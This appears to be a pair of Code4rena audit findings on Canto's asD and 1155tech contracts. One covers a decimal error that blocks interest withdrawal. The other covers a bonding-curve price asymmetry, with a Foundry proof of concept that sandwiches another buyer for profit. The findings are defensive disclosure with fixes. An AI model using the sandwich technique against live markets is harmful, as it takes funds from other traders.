Canto Application Specific Dollars and Bonding Curves for 1155s - ast3ros's results

Lines of code

https://github.com/code-423n4/2023-11-canto/blob/f6ee8b9c7417d0f82c6f3cb01325fe4346daecbd/asD/src/asD.sol#L72-L94

Vulnerability details

Impact

This issue results in the inability of the contract owner to withdraw accrued interest from the cToken, causing the interest amount to be effectively stuck in the contract.

Proof of Concept

The core of the problem lies in the withdrawCarry function of the asD contract, which is designed to enable the owner to withdraw accrued interest. The function calculates the maximum amount that can be withdrawn without disrupting the 1:1 NOTE:asD exchange rate.

    /// @notice Withdraw the interest that accrued, only callable by the owner.
    /// @param _amount Amount of NOTE to withdraw. 0 for withdrawing the maximum possible amount
    /// @dev The function checks that the owner does not withdraw too much NOTE, i.e. that a 1:1 NOTE:asD exchange rate can be maintained after the withdrawal
    function withdrawCarry(uint256 _amount) external onlyOwner {
        uint256 exchangeRate = CTokenInterface(cNote).exchangeRateCurrent(); // Scaled by 1 * 10^(18 - 8 + Underlying Token Decimals), i.e. 10^(28) in our case
        // The amount of cNOTE the contract has to hold (based on the current exchange rate which is always increasing) such that it is always possible to receive 1 NOTE when burning 1 asD
        uint256 maximumWithdrawable = (CTokenInterface(cNote).balanceOf(address(this)) * exchangeRate) /
            1e28 -
            totalSupply();
        if (_amount == 0) {
            _amount = maximumWithdrawable;
        } else {
            require(_amount <= maximumWithdrawable, "Too many tokens requested");
        }
        // Technically, _amount can still be 0 at this point, which would make the following two calls unnecessary.
        // But we do not handle this case specifically, as the only consequence is that the owner wastes a bit of gas when there is nothing to withdraw
        uint256 returnCode = CErc20Interface(cNote).redeemUnderlying(_amount);
        require(returnCode == 0, "Error when redeeming"); // 0 on success: https://docs.compound.finance/v2/ctokens/#redeem
        IERC20 note = IERC20(CErc20Interface(cNote).underlying());
        SafeERC20.safeTransfer(note, msg.sender, _amount);
        emit CarryWithdrawal(_amount);
    }

https://github.com/code-423n4/2023-11-canto/blob/f6ee8b9c7417d0f82c6f3cb01325fe4346daecbd/asD/src/asD.sol#L72-L94

In the function, the exchange rate is retrieved from cNote contract by calling CTokenInterface(cNote).exchangeRateCurrent(). The returned value is in 18 decimals and can be checked here: https://tuber.build/address/0xEe602429Ef7eCe0a13e4FfE8dBC16e101049504C?tab=read_contract

However, the function exchangeRateCurrent assumes that the exchange rate is scaled to 28 decimals. It leads to wrong calculation of maximumWithdrawable. The function will always be reverted because uint256 maximumWithdrawable = (CTokenInterface(cNote).balanceOf(address(this)) * exchangeRate) / 1e28 - totalSupply(); is underflow when (CTokenInterface(cNote).balanceOf(address(this)) * exchangeRate) / 1e28 is much smaller than total supply.

The owner will not be able to withdraw the interest of cToken and the amount is stuck in the contract.

POC:

Create a file name src/test/forkTest.t.sol and fork the canto blockchain. The interest rate of CToken in block 6909666 is 1004134461741270267. The function will revert when withdraw carry.

Run cd asd && forge test -vvvvv --match-contract asDTest --match-test testWithdrawCarryUnderflow

// SPDX-License-Identifier: GPL-3.0-only
pragma solidity >=0.8.0;
import {asD} from "../asD.sol";
import {IERC20, ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "forge-std/Test.sol";
import {CTokenInterface} from "../../interface/clm/CTokenInterfaces.sol";

contract asDTest is Test {
    asD asdToken;
    address NOTE_ADDRESS = 0x4e71A2E537B7f9D9413D3991D37958c0b5e1e503;
    address CNOTE_ADDRESS = 0xEe602429Ef7eCe0a13e4FfE8dBC16e101049504C;
    string asDName = "Test";
    string asDSymbol = "TST";
    address owner;
    address alice;
    ERC20 NOTE;
    CTokenInterface cNOTE;

    function setUp() public {
        vm.createSelectFork(vm.rpcUrl("https://canto.slingshot.finance/"), 6909666);
        
        NOTE = ERC20(NOTE_ADDRESS);
        cNOTE = CTokenInterface(CNOTE_ADDRESS);
        owner = makeAddr("owner");
        alice = makeAddr("alice");
        asdToken = new asD(asDName, asDSymbol, owner, address(cNOTE), owner);
    }

    function testWithdrawCarryUnderflow() public {
        uint256 mintAmount = 10e18;
        deal(NOTE_ADDRESS, address(this), 10e18);
        NOTE.approve(address(asdToken), mintAmount);
        asdToken.mint(mintAmount);
        console.log("Exchange rate current: ", cNOTE.exchangeRateCurrent()); // 1004134461741270267
        
        // Increase exchange rate to 1.1e18 so owner can withdraw
        vm.startPrank(owner);
        vm.mockCall(CNOTE_ADDRESS, abi.encodeWithSelector(CTokenInterface.exchangeRateCurrent.selector), abi.encode(1.1e18));
        asdToken.withdrawCarry(0); // Revert due to underflow
    }
}

The test confirms the malfunctioning behavior:

    Failing tests:
    Encountered 1 failing test in src/test/forkTest.t.sol:asDTest
    [FAIL. Reason: panic: arithmetic underflow or overflow (0x11)] testWithdrawCarryUnderflow() (gas: 619119)

Tools Used

Manual

Recommended Mitigation Steps

Change the decimals from 27 to 18

            uint256 maximumWithdrawable = (CTokenInterface(cNote).balanceOf(address(this)) * exchangeRate) /
-               1e28 -
+               1e18 -
                totalSupply();

Assessed type

Decimal

Lines of code

https://github.com/code-423n4/2023-11-canto/blob/df7362f601f64ccb8afaf73ccd885109f8217498/1155tech-contracts/src/Market.sol#L129-L137 https://github.com/code-423n4/2023-11-canto/blob/f6ee8b9c7417d0f82c6f3cb01325fe4346daecbd/1155tech-contracts/src/bonding_curve/LinearBondingCurve.sol#L14-L25

Vulnerability details

Impact

This vulnerability enables early buyers of tokens to profit unfairly at the expense of later buyers, creating an imbalance in the market. The current token pricing mechanism in the Market.sol contract allows early buyers to manipulate prices and gain undue advantages, leading to a potential loss for sequential buyers.

Proof of Concept

The issue arises from the difference in how buying and selling prices are calculated for tokens.

When buyers buy tokens for a given share, the token price is calculated in getBuyPrice function. The price for tokens is computed based on the token count incrementally, meaning that later tokens are more expensive than earlier ones.

    /// @notice Returns the price and fee for buying a given number of shares.
    /// @param _id The ID of the share
    /// @param _amount The number of shares to buy.
    function getBuyPrice(uint256 _id, uint256 _amount) public view returns (uint256 price, uint256 fee) {
        // If id does not exist, this will return address(0), causing a revert in the next line
        address bondingCurve = shareData[_id].bondingCurve;
        (price, fee) = IBondingCurve(bondingCurve).getPriceAndFee(shareData[_id].tokenCount + 1, _amount);
    }

https://github.com/code-423n4/2023-11-canto/blob/df7362f601f64ccb8afaf73ccd885109f8217498/1155tech-contracts/src/Market.sol#L129-L137

In details, it calculate the price for tokens from tokenCount + 1 to tokenCount + 1 + amount. At each incremental count, the price is increased by priceIncrease amount. In other words, the higher the count, the higher the price.

    function getPriceAndFee(uint256 shareCount, uint256 amount)
        external
        view
        override
        returns (uint256 price, uint256 fee)
    {
        for (uint256 i = shareCount; i < shareCount + amount; i++) {
            uint256 tokenPrice = priceIncrease * i;
            price += tokenPrice;
            fee += (getFee(i) * tokenPrice) / 1e18;
        }
    }

https://github.com/code-423n4/2023-11-canto/blob/f6ee8b9c7417d0f82c6f3cb01325fe4346daecbd/1155tech-contracts/src/bonding_curve/LinearBondingCurve.sol#L14-L25

Conversely, when tokens are sold, the getSellPrice function calculates the selling price based on the highest token counts, which are the most expensive. The price is calculated using count from tokenCount - amount + 1 to tokenCount.

    /// @notice Returns the price and fee for selling a given number of shares.
    /// @param _id The ID of the share
    /// @param _amount The number of shares to sell.
    function getSellPrice(uint256 _id, uint256 _amount) public view returns (uint256 price, uint256 fee) {
        // If id does not exist, this will return address(0), causing a revert in the next line
        address bondingCurve = shareData[_id].bondingCurve;
        (price, fee) = IBondingCurve(bondingCurve).getPriceAndFee(shareData[_id].tokenCount - _amount + 1, _amount);
    }

This discrepancy allows an early buyer to buy tokens at a lower price, wait for the token count to increase (thereby increasing the price of tokens), and then sell their tokens at a higher price. This mechanism can be exploited to generate profit at the expense of later buyers. Maliciously, a buyer can sanwhich a buy transaction of a user and get free profit. The later buyers will suffer loss.

POC:

A practical demonstration of this issue can be conducted using a POC, as shown in the testBuySellMalicious function. This test simulates a scenario where an early buyer sandwiches a transaction of another user, leading to a profit for the early buyer and a loss for the later buyer.

Put the code in 1155tech-contracts/src/test/Market.t.sol and run: cd 1155tech-contracts/ && forge test -vvvvv --match-contract MarketTest --match-test testBuySellMalicious

    event SharesBought(uint256 indexed id, address indexed buyer, uint256 amount, uint256 price, uint256 fee);
    event SharesSold(uint256 indexed id, address indexed seller, uint256 amount, uint256 price, uint256 fee);
    function testBuySellMalicious() public { 
        // Setup
        market.changeBondingCurveAllowed(address(bondingCurve), true);
        market.restrictShareCreation(false);
        vm.prank(bob);
        market.createNewShare("Test Share", address(bondingCurve), "metadataURI");
        token.transfer(alice, 0.5e18);

        // Balance start:
        console.log("Balance address this before: ", token.balanceOf(address(this))); // 0.5e18
        console.log("Balance address Alice before: ", token.balanceOf(address(alice))); // 0.5e18

        // In this case, address(this) sandwich alice, buys 3 tokens and then sells immediately, getting profit of 0.008e18
        
        token.approve(address(market), 0.5e18);
        vm.expectEmit();
        emit SharesBought(1, 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496, 3, 6000000000000000, 600000000000000);
        // address(this) buys
        market.buy(1, 3); // Price: 6e15, fee: 6e14

        // alice buys
        vm.startPrank(alice);
        token.approve(address(market), 0.5e18);
        vm.expectEmit();
        emit SharesBought(1, 0x0000000000000000000000000000000000000002, 3, 15000000000000000, 750000000000000);
        market.buy(1, 3); // price: 1.5e16, fee: 7.5e14
        vm.stopPrank();

        // address(this) sells
        vm.expectEmit();
        emit SharesSold(1, 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496, 3, 15000000000000000, 750000000000000);
        market.sell(1, 3); // Price: 1.5e16, fee: 7.5e14

        // alice sells
        vm.startPrank(alice);
        emit SharesSold(1, 0x0000000000000000000000000000000000000002, 3, 6000000000000000, 600000000000000);
        market.sell(1, 3); // Price: 6e15, fee: 6e14

        console.log("Balance address this after: ", token.balanceOf(address(this))); // 0.50802125e18 => Profit 0.008e18
        console.log("Balance address Alice after: ", token.balanceOf(address(alice))); // 0.48997175e18 => Loss 0.01e18 
    }

The test outcomes clearly indicate a disparity in the balance before and after the transactions, showcasing the potential for exploitation:

    Balance address this before: 0.5e18
    Balance address Alice before: 0.5e18
    ...
    Balance address this after: 0.50802125e18 (Profit 0.008e18)
    Balance address Alice after: 0.48997175e18 (Loss 0.01e18)

Tools Used

Manual

Recommended Mitigation Steps

It is recommended to revise the selling price calculation. Instead of basing the selling price on the highest token IDs, the selling price should be calculated from the lowest token ID upwards. This approach would mean that the selling price would be slightly lower than the buying price, which is a more reasonable pricing mechanism.

Assessed type

Context